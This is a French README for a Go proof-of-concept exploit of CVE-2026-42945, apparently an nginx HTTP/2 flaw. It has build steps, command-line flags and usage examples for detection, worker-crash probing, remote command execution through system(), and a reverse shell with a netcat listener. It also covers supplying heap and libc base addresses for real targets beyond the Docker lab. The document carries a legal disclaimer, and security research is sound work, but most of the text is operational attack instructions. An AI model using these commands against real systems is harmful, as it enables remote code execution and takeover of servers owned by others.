CVE-2026-42945 PoC (Go)

Chinois | English

Outil de détection et d’exploitation auxiliaire pour la mise en œuvre de HTTP/2 dans nginx (CVE-2026-42945), destiné à vérifier la présence de la vulnérabilité dans un environnement autorisé, à comparer l’effet des correctifs et à reproduire le comportement du PoC dans un environnement de laboratoire contrôlé.

Versions affectées (estimation) : nginx 0.6.27 – 1.30.0 ; 1.30.1+ / 1.31.0+ sont corrigés.

⚠️ Avertissement (à lire impérativement)

Ce dépôt est destiné uniquement à la recherche en sécurité, à la validation de vulnérabilités et aux tests défensifs.

1. Autorisation légale : Vous ne pouvez utiliser cet outil que sur des systèmes pour lesquels vous disposez d’une autorisation écrite explicite ou qui vous appartiennent entièrement. L’analyse, la détection ou l’attaque non autorisées de réseaux/serveurs d’autrui sont illégales. Les auteurs et contributeurs déclinent toute responsabilité légale.
2. Risque assumé : L’exploitation peut entraîner le plantage des workers cibles, des interruptions de service ou des dommages aux données. Vous devez évaluer l’impact vous-même et effectuer une validation préalable dans un environnement isolé.
3. Aucune garantie : Cet outil est fourni « en l’état », sans garantie de succès dans tout environnement de production réel. Un résultat de canal auxiliaire n’équivaut pas à une RCE ; vous devez valider indépendamment par écriture de fichier, retour de commande ou reverse shell.
4. Interdiction d’abus : Il est interdit d’utiliser cet outil pour pénétrer des systèmes non autorisés, rançonner, détruire, miner ou tout usage illégal. En téléchargeant, compilant ou utilisant, vous déclarez avoir lu et accepté cet avertissement.
5. Aucune affiliation avec NGINX officiel : Ce projet est une implémentation indépendante et ne représente pas la position de NGINX ou de tout autre fabricant.

Si vous n’acceptez pas ces termes, cessez immédiatement l’utilisation et supprimez ce dépôt.

Aperçu des fonctionnalités

Prérequis

• Go ≥ 1.26 (voir go.mod)
• Optionnel : Docker + docker compose (environnement de laboratoire local)
• Optionnel : make, golangci-lint (développement / vérification du code)
• Validation d’exploitation : la cible doit exposer les endpoints nécessaires au PoC (GET /api/, POST /spray, etc.) ; les images Docker expérimentales les intègrent déjà

Limitations et environnements applicables

Construction

# Construction rapide (sortie dans bin/, ignoré par .gitignore)
make build-cmd

# Ou directement avec go
go build -o ./bin/cve-2026-42945 ./cmd

# Afficher la version intégrée
./bin/cve-2026-42945 -version

Binaires publiés : Téléchargez cve-2026-42945-<os>-<arch> correspondant à votre plateforme dans les Releases (construit automatiquement par GitHub Actions après le push du tag v*).

Guide d’utilisation

Paramètres de la ligne de commande

-target string      Cible IP/nom d’hôte (par défaut 127.0.0.1)
-port int           Port cible (0=80 ; version Docker vuln utilise 19321)
-docker             Tester l’environnement Docker local (vuln:19321, fixed:19331)
-check-only         Détection uniquement, pas d’envoi de trafic d’exploitation
-probe-crash        Détection de débordement + canal auxiliaire de plantage du worker
-cmd string         Commande à exécuter via system()
-shell              Reverse shell (nécessite -lhost)
-lhost string       IP locale pour le reverse shell
-lport int          Port local pour le reverse shell (par défaut 4444)
-docker-profile     Utiliser les adresses de base de tas/libc réelles de deploy/docker
-heap-base string   Adresse de base du tas (hexadécimal, ex. 0x555555659000)
-libc-base string   Adresse de base de libc (hexadécimal)
-tries int          Nombre de tentatives par candidat de tas (par défaut 10)
-timeout int        Délai d’expiration HTTP en secondes (par défaut 5)
-v                  Sortie détaillée
-version            Affiche la version puis quitte

Le mode -docker ne peut pas être utilisé simultanément avec -cmd / -shell ; pour une exploitation ciblée, spécifiez -port 19321.

1. Détection simple d’une cible

./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only

2. Détection de plantage (cible unique)

./bin/cve-2026-42945 -port 19321 -probe-crash -v

3. Comparaison avec l’environnement Docker expérimental

Démarrez d’abord les conteneurs expérimentaux :

make docker-up
# ou
docker compose -f deploy/docker-compose.yml up -d --build

La première construction compile nginx, cela peut prendre plusieurs minutes ; attendez que les services soient healthy avec docker compose ps avant d’exécuter make test-lab.

Détection en masse :

./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash

Ou utilisez les cibles rapides du Makefile :

make test-lab          # check + probe
make cmd-exploit       # écrit /tmp/pwned dans vuln et affiche la commande de vérification

4. Exécution de commande sur le Docker vuln (validation RCE)

Le conteneur expérimental, avec ASLR désactivé (setarch -R) et utilisant le profil -docker-profile prédéfini, a le meilleur taux de succès :

./bin/cve-2026-42945 -port 19321 -docker-profile \
  -cmd 'echo pwned > /tmp/pwned' -v

# Vérifier l’écriture du fichier
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned

5. Reverse shell

# Terminal 1 : lancer l’outil (tentera d’écouter nc en arrière-plan)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v

# Si nc n’est pas trouvé, ouvrez un autre terminal pour écouter manuellement :
nc -lvnp 4444

6. Disposition mémoire personnalisée

Pour des cibles réelles où ASLR, version de libc, etc. diffèrent de Docker, vous devez divulguer ou estimer les adresses de base vous-même :

# La cible doit être un port HTTP en clair (non TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
  -heap-base 0x555555659000 \
  -libc-base 0x7ffff77ba000 \
  -cmd 'id' -tries 20 -v

Interprétation des résultats

• [+] Canal auxiliaire : worker anormal : Indique seulement que le worker a peut-être planté à cause d’un débordement. Ne peut pas être utilisé seul comme preuve de RCE.
• Validation secondaire obligatoire : Vérifiez les effets secondaires de la commande (fichier, processus, docker exec, etc.).
• Causes fréquentes d’échec : ASLR activé, décalage tas/libc incorrect, endpoint PoC indisponible, WAF/limitation de débit, conteneur nécessitant un redémarrage.

Structure du projet

cmd/                 Point d’entrée principal
internal/rift/       Logique de détection, construction de charge utile et exploitation
deploy/docker/       Images Docker expérimentales nginx 1.30.0 / 1.30.1
deploy/docker-compose.yml
.github/workflows/   Construction multi-plateforme pour les Releases

Développement

make help            # Afficher toutes les cibles make
make test            # Tests unitaires
make lint            # golangci-lint
make version         # Afficher le numéro de version actuel de la construction

Publier une nouvelle version :

git tag v1.0.0
git push origin v1.0.0

Références

• Dépôt : https://github.com/RedCrazyGhost/CVE-2026-42945
• CVE : CVE-2026-42945 (vulnérabilité HTTP/2 de nginx, se référer aux avis officiels)
• Licence : Licence MIT
• Problèmes de sécurité : SECURITY.md

Rappel

Utilisez cet outil uniquement sur des systèmes que vous êtes autorisé à tester. Toute utilisation abusive est indépendante des auteurs.